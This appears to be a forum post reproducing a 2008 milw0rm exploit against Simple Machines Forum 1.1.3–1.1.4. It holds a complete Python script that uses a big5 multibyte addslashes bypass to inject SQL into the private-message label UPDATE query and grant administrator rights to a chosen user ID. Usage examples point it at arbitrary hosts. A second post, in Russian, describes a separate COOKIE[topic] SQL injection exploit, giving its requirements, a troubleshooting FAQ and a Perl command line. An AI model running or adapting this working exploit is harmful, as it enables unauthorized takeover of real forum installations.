#                                            Addslashes(Bytes in Input)                                  #
#                                                        0xa35c27                                                  #
#                                                                                                  #
# In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone.  #
# Therefore a lot of smf's queries are vulnerable if $db_character_set is settable.                  #
# In this exploit i will inject sql code in Update syntax, increasing user's privledges.          #
#=================================================================================================#
# Exploit tested on 1.1.3 and 1.1.4 Smf's versions.                                                  #
#=================================================================================================#
# Use this exploit at your own risk. You are responsible for your own deeds.                      #
#=================================================================================================#
#                                      Python Exploit Starts                                      #
#=================================================================================================#
"""
from sys import argv, exit
from httplib import HTTPConnection
from urllib import urlencode, unquote
from time import sleep
print """
#=================================================================#
#                    Simple Machines Forum <= 1.1.4                #
#                    Sql Injection Vulnerability                  #
#                  Priviledge Escalation Exploit                #
#                                                                #
#              ######################################            #
#              #  Let's get administrator rights!!! #            #
#              ######################################            #
#                                                                #
#                    Discovered By The:Paradox                  #
#                                                                #
# Usage:                                                          #
#  ./Exploit [Target] [Path] [PHPSessID] [Userid]                #
#                                                                #
# Example:                                                        #
#  ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9  #
#  ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36  #
#=================================================================#
"""

if len(argv)<=4: exit()


sn = "PHPSESSID" # Session cookie name. You may have to change this.
port = 80

target = argv[1]
path = argv[2]
sv = argv[3]
uid = argv[4]


class killsmf:
       
        def __init__(self):
               
                print "[.] Exploit Starts."
       
                self.GetSesc()
                self.CreateLabels()
                self.Inject()
       
                print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"
       
        def GetSesc(self):
               
                print "[+] Trying to read Sesc"       
       
                for i in range (0,2):
                                conn = HTTPConnection(target,port)
                                conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
                                rsp = conn.getresponse()
                                r = rsp.read()

                if rsp.status == 404:
                                exit ("[-] Error 404. Not Found")
                elif r.find('<input type="hidden" name="sc" value="') != -1 and r.find('" />
') != -1 :
                                self.sesc = r.split('<input type="hidden" name="sc" value="')[1].split('" />')[0]
                                if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
                                print "[+] Sesc has been successfully read ==> "+self.sesc
                else:
                                exit ("[-] Unable to find Sesc")

        def CreateLabels(self):
                print "[+] Creating three labels..."
                for i in range (0,3):
                                conn = HTTPConnection(target,port)
                                conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
                                sleep(0.35)
        def Inject(self):
                print "[+] Sql code is going to be injected."
                conn = HTTPConnection(target,port)
                conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})

killsmf()       

# milw0rm.com [2008-06-15]

milw0rm.com [2008-06-15]

Elekt 16.06.2008 22:31

SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
 
Вложений: 1

SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/

Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1

c0d3d by Elekt (www.antichat.ru), 13.12.2007

::FAQ::

Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.

Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1


[i] информация предоставлена с целью ознакомления


Время: 22:41